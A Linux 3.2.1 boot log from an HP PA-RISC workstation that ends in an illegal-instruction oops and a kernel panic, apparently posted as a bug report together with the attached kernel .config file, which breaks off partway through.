HP SDC: HP SDC at 0xf0821000, IRQ 18 (NMI IRQ 19)
sd 0:0:0:0: [sda] Write Protect is off
sd 0:0:4:0: [sdb] 17783240 512-byte logical blocks: (9.10 GB/8.47 GiB)
sd 0:0:0:0: [sda] Cache data unavailable
sd 0:0:0:0: [sda] Assuming drive cache: write through
HP SDC: New style SDC
sd 0:0:4:0: [sdb] Write Protect is off
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
sd 0:0:0:0: [sda] 5120 256-byte logical blocks: (1.31 MB/1.25 MiB)
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
sd 0:0:4:0: [sdb] Write cache: enabled, read cache: enabled, supports DPO and 
FUA
sd 0:0:0:0: [sda] Cache data unavailable
sd 0:0:0:0: [sda] Assuming drive cache: write through
mousedev: PS/2 mouse device common for all mice
 sdb: sdb1 sdb2 sdb3 sdb4 < sdb5 sdb6 >
rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
sd 0:0:4:0: [sdb] Attached SCSI disk
harmony: cannot allocate graveyard buffer!
harmony: probe of 2:0:8 failed with error -12
ALSA device list:
  No soundcards found.
TCP cubic registered
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
rtc-generic rtc-generic: setting system clock to 2012-01-17 10:01:01 UTC 
(1326794461)
HIL: HIL keyboard found (did = 0xdf, lang = english.us)
input: HIL keyboard as /devices/serio0/input/input0
sd 0:0:0:0: [sda] Unhandled sense code
sd 0:0:0:0: [sda]  Result: hostbyte=0x00 driverbyte=0x08
sd 0:0:0:0: [sda]  Sense Key : 0x3 [current] 
Info fld=0x0
sd 0:0:0:0: [sda]  ASC=0x30 ASCQ=0x0
sd 0:0:0:0: [sda] CDB: cdb[0]=0x28: 28 00 00 00 00 00 00 00 08 00
end_request: I/O error, dev sda, sector 0
Buffer I/O error on device sda, logical block 0
sd 0:0:0:0: [sda] Unhandled sense code
sd 0:0:0:0: [sda]  Result: hostbyte=0x00 driverbyte=0x08
sd 0:0:0:0: [sda]  Sense Key : 0x3 [current] 
Info fld=0x0
sd 0:0:0:0: [sda]  ASC=0x30 ASCQ=0x0
sd 0:0:0:0: [sda] CDB: cdb[0]=0x28: 28 00 00 00 00 00 00 00 08 00
end_request: I/O error, dev sda, sector 0
Buffer I/O error on device sda, logical block 0
 sda: unable to read partition table
sd 0:0:0:0: [sda] 5120 256-byte logical blocks: (1.31 MB/1.25 MiB)
sd 0:0:0:0: [sda] Cache data unavailable
sd 0:0:0:0: [sda] Assuming drive cache: write through
sd 0:0:0:0: [sda] Attached SCSI removable disk
kjournald starting.  Commit interval 5 seconds
EXT3-fs (sdb5): mounted filesystem with writeback data mode
VFS: Mounted root (ext3 filesystem) readonly on device 8:21.
Freeing unused kernel memory: 236k freed
      _______________________________ 
     < Your System ate a SPARC! Gah! >
      ------------------------------- 
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 1): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000000000000000000000000 Not tainted
r00-03  00000000 00000003 1010eb18 0000000f
r04-07  104d2800 ffeffff1 100272c0 00000000
r08-11  0f2ff000 0f000000 13da8ffc 13c20508
r12-15  00000000 13d92000 13c20508 00000000
r16-19  00000000 00000023 00000020 00000001
r20-23  00000000 00000000 0000017d 00000020
r24-27  00000000 00000000 0000a2c0 10474000
r28-31  0f2ff000 00000000 13c20740 00000014
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101004ec 101004f0
 IIR: 0f801280    ISR: 00000000  IOR: 0f2ff000
 CPU:        0   CR30: 13c20000 CR31: 000000e0
 ORIG_R28: fffff000
 IAOQ[0]: __clear_user_page_asm+0x20/0x70
 IAOQ[1]: __clear_user_page_asm+0x24/0x70
 RP(r2): clear_user_page_asm+0x14/0x24
Backtrace:
 [<1010eb18>] clear_user_page_asm+0x14/0x24
 [<10174d48>] handle_pte_fault+0x1d4/0x610
 [<10175244>] handle_mm_fault+0xc0/0xf0
 [<101754a8>] __get_user_pages+0x170/0x348
 [<1018f3d4>] get_arg_page+0x5c/0xd8
 [<1018f638>] copy_strings+0xec/0x228
 [<1018f790>] copy_strings_kernel+0x1c/0x30
 [<1019025c>] do_execve+0x16c/0x2b8
 [<10114084>] sys_execve+0x40/0x6c
 [<10103084>] __execve+0x20/0x34
 [<10129c98>] vprintk+0x384/0x3d8
 [<1010ade8>] printk+0x24/0x34
 [<1010d5f0>] init_post+0x94/0xc8
 [<104e1c64>] kernel_init+0x11c/0x130

Backtrace:
 [<1010f514>] die_if_kernel+0x138/0x1b0
 [<1010f9a8>] handle_interruption+0x1ac/0x614
 [<10104078>] intr_check_sig+0x0/0x34
 [<101004f0>] __clear_user_page_asm+0x24/0x70

---[ end trace 37142cbeb02a4c73 ]---
note: swapper[1] exited with preempt_count 1
BUG: scheduling while atomic: swapper/1/0x10000001
Modules linked in:
Backtrace:
 [<1010b244>] __schedule+0x98/0x320
 [<10124280>] __cond_resched+0x2c/0x50
 [<1010b57c>] _cond_resched+0x34/0x50
 [<1012be44>] put_files_struct+0x8c/0x108
 [<1012c110>] do_exit+0x200/0x5a8
 [<1010f57c>] die_if_kernel+0x1a0/0x1b0
 [<1010f9a8>] handle_interruption+0x1ac/0x614
 [<10104078>] intr_check_sig+0x0/0x34
 [<101004f0>] __clear_user_page_asm+0x24/0x70

BUG: scheduling while atomic: swapper/1/0x10000001
Modules linked in:
Backtrace:
 [<1010b244>] __schedule+0x98/0x320
 [<10124280>] __cond_resched+0x2c/0x50
 [<1010b57c>] _cond_resched+0x34/0x50
 [<1012be44>] put_files_struct+0x8c/0x108
 [<1012c110>] do_exit+0x200/0x5a8
 [<1010f57c>] die_if_kernel+0x1a0/0x1b0
 [<1010f9a8>] handle_interruption+0x1ac/0x614
 [<10104078>] intr_check_sig+0x0/0x34
 [<101004f0>] __clear_user_page_asm+0x24/0x70

Kernel panic - not syncing: Attempted to kill init!
Backtrace:
 [<1010abf0>] panic+0x94/0x268
 [<1012bfd0>] do_exit+0xc0/0x5a8
 [<1010f57c>] die_if_kernel+0x1a0/0x1b0
 [<1010f9a8>] handle_interruption+0x1ac/0x614
 [<10104078>] intr_check_sig+0x0/0x34
 [<101004f0>] __clear_user_page_asm+0x24/0x70

--nextPart4974704.aTbWWglFck
Content-Disposition: attachment; filename=".config"
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="utf-8"; name="config-705-3.2.1"

#
# Automatically generated file; DO NOT EDIT.
# Linux/parisc 3.2.0 Kernel Configuration
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_HAVE_LATENCYTOP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_HAVE_IRQ_WORK=y

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_FHANDLE=y
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_HAVE_GENERIC_HARDIRQS=y

#
# IRQ subsystem
#
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_PREEMPT_RCU is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_TREE_RCU_TRACE is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_CGROUPS is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
# CONFIG_NET_NS is not set
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
# CONFIG_RELAY is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
CONFIG_RD_LZO=y
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
# CONFIG_EXPERT is not set
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
# CONFIG_PERF_EVENTS is not set
# CONFIG_PERF_COUNTERS is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_SLUB_DEBUG=y
# CONFIG_COMPAT_BRK is not set
# CONFIG_SLAB is not set
CONFIG_SLUB=y
CONFIG_PROFILING=y
# CONFIG_OPROFILE is not set
CONFIG_HAVE_OPROFILE=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y

#
# GCOV-based kernel profiling
#
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_INIT_ALL_POSSIBLE=y
CONFIG_BLOCK=y
# CONFIG_LBDAF is not set
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_BSGLIB=y
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_CFQ=y
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="cfq"
# CONFIG_INLINE_SPIN_TRYLOCK is not set
# CONFIG_INLINE_SPIN_TRYLOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK is not set
# CONFIG_INLINE_SPIN_LOCK_BH is not set
# CONFIG_INLINE_SPIN_LOCK_IRQ is not set
# CONFIG_INLINE_SPIN_LOCK_IRQSAVE is not set
CONFIG_INLINE_SPIN_UNLOCK=y
# CONFIG_INLINE_SPIN_UNLOCK_BH is not set
CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
# CONFIG_INLINE_SPIN_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_READ_TRYLOCK is not set
# CONFIG_INLINE_READ_LOCK is not set
# CONFIG_INLINE_READ_LOCK_BH is not set
# CONFIG_INLINE_READ_LOCK_IRQ is not set
# CONFIG_INLINE_READ_LOCK_IRQSAVE is not set
CONFIG_INLINE_READ_UNLOCK=y
# CONFIG_INLINE_READ_UNLOCK_BH is not set
CONFIG_INLINE_READ_UNLOCK_IRQ=y
# CONFIG_INLINE_READ_UNLOCK_IRQRESTORE is not set
# CONFIG_INLINE_WRITE_TRYLOCK is not set
# CONFIG_INLINE_WRITE_LOCK is not set
# CONFIG_INLINE_WRITE_LOCK_BH is not set
# CONFIG_INLINE_WRITE_LOCK_IRQ is not set
# CONFIG_INLINE_WRITE_LOCK_IRQSAVE is not set
CONFIG_INLINE_WRITE_UNLOCK=y
# CONFIG_INLINE_WRITE_UNLOCK_BH is not set
CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
# CONFIG_INLINE_WRITE_UNLOCK_IRQRESTORE is not set
# CONFIG_MUTEX_SPIN_ON_OWNER is not set
# CONFIG_FREEZER is not set

#
# Processor type and features
#
CONFIG_PA7000=y
# CONFIG_PA7100LC is not set
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=y
CONFIG_PREEMPT_NONE=y
# CONFIG_PREEMPT_VOLUNTARY is not set
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=999999
# CONFIG_COMPACTION is not set
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
CONFIG_NEED_PER_CPU_KM=y
# CONFIG_CLEANCACHE is not set
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
# CONFIG_HPPB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
# CONFIG_PCI is not set
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCCARD is not set

#
# PA-RISC specific drivers
#
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y
# CONFIG_HAVE_AOUT is not set
# CONFIG_BINFMT_MISC is not set
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_UNIX=y
CONFIG_XFRM=y
# CONFIG_XFRM_USER is not set
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE_DEMUX is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=y
CONFIG_INET_XFRM_MODE_TRANSPORT=y
CONFIG_INET_XFRM_MODE_TUNNEL=y
CONFIG_INET_XFRM_MODE_BEET=y
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=y
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
# CONFIG_IPV6_MIP6 is not set
# CONFIG_INET6_XFRM_TUNNEL is not set
# CONFIG_INET6_TUNNEL is not set
CONFIG_INET6_XFRM_MODE_TRANSPORT=y
CONFIG_INET6_XFRM_MODE_TUNNEL=y
CONFIG_INET6_XFRM_MODE_BEET=y
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=y
# CONFIG_IPV6_SIT_6RD is not set
CONFIG_IPV6_NDISC_NODETYPE=y
# CONFIG_IPV6_TUNNEL is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
# CONFIG_NETFILTER_DEBUG is not set
# CONFIG_NETFILTER_ADVANCED is not set

#
# Core Netfilter Configuration
#
# CONFIG_NETFILTER_NETLINK_LOG is not set
# CONFIG_NF_CONNTRACK is not set
# CONFIG_NETFILTER_XTABLES is not set
# CONFIG_IP_VS is not set

#
# IP: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV4 is not set
# CONFIG_IP_NF_IPTABLES is not set

#
# IPv6: Netfilter Configuration
#
# CONFIG_NF_DEFRAG_IPV6 is not set
# CONFIG_IP6_NF_IPTABLES is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_L2TP is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set
# CONFIG_DNS_RESOLVER is not set
# CONFIG_BATMAN_ADV is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set
# CONFIG_CAIF is not set
# CONFIG_CEPH_LIB is not set
# CONFIG_NFC is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
# CONFIG_DEVTMPFS_MOUNT is not set
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_AX88796 is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=4
CONFIG_BLK_DEV_CRYPTOLOOP=y

#
# DRBD disabled because PROC_FS, INET or CONNECTOR not selected
#
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_SENSORS_LIS3LV02D is not set
CONFIG_MISC_DEVICES=y
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_93CX6 is not set

#
# Texas Instruments shared transport line discipline
#

#
# Altera FPGA firmware download module
#
CONFIG_HAVE_IDE=y
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
# CONFIG_RAID_ATTRS is not set
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
# CONFIG_SCSI_TGT is not set
# CONFIG_SCSI_NETLINK is not set
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
CONFIG_CHR_DEV_SG=m
# CONFIG_CHR_DEV_SCH is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
# CONFIG_BLK_DEV_MD is not set
# CONFIG_BLK_DEV_DM is not set
# CONFIG_TARGET_CORE is not set
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
# CONFIG_BONDING is not set
# CONFIG_DUMMY is not set
# CONFIG_EQUALIZER is not set
# CONFIG_MII is not set
# CONFIG_MACVLAN is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_TUN is not set
# CONFIG_VETH is not set

#
# CAIF transport drivers
#
CONFIG_ETHERNET=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_NET_VENDOR_AMD is not set
# CONFIG_NET_VENDOR_BROADCOM is not set
# CONFIG_NET_VENDOR_CHELSIO is not set
# CONFIG_NET_VENDOR_CIRRUS is not set
# CONFIG_DNET is not set
CONFIG_NET_VENDOR_DEC=y
CONFIG_NET_TULIP=y
CONFIG_DE4X5=m
# CONFIG_NET_VENDOR_DLINK is not set
# CONFIG_NET_VENDOR_HP is not set
# CONFIG_NET_VENDOR_INTEL is not set
# CONFIG_NET_VENDOR_MARVELL is not set
# CONFIG_NET_VENDOR_MICREL is not set
# CONFIG_NET_VENDOR_NATSEMI is not set
# CONFIG_ETHOC is not set
# CONFIG_NET_VENDOR_SEEQ is not set
# CONFIG_NET_VENDOR_STMICRO is not set
# CONFIG_NET_VENDOR_TI is not set
# CONFIG_FDDI is not set
# CONFIG_PHYLIB is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#
# CONFIG_WAN is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=y
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_HIL_OLD is not set
CONFIG_KEYBOARD_HIL=y
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
# CONFIG_MOUSE_PS2 is not set
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
CONFIG_SERIO_LIBPS2=y
# CONFIG_SERIO_RAW is not set
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_SERIO_PS2MULT is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=64
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_N_GSM is not set
# CONFIG_TRACE_SINK is not set
# CONFIG_DEVKMEM is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_NR_UARTS=8
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
# CONFIG_SERIAL_XILINX_PS_UART is not set
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
# CONFIG_HW_RANDOM is not set
# CONFIG_R3964 is not set
CONFIG_RAW_DRIVER=y
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
# CONFIG_RAMOOPS is not set
# CONFIG_I2C is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set

#
# PPS generators support
#

#
# PTP clock support
#

#
# Enable Device Drivers -> PPS to see the PTP clock options.
#
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set
CONFIG_BCMA_POSSIBLE=y

#
# Broadcom specific AMBA
#
# CONFIG_BCMA is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
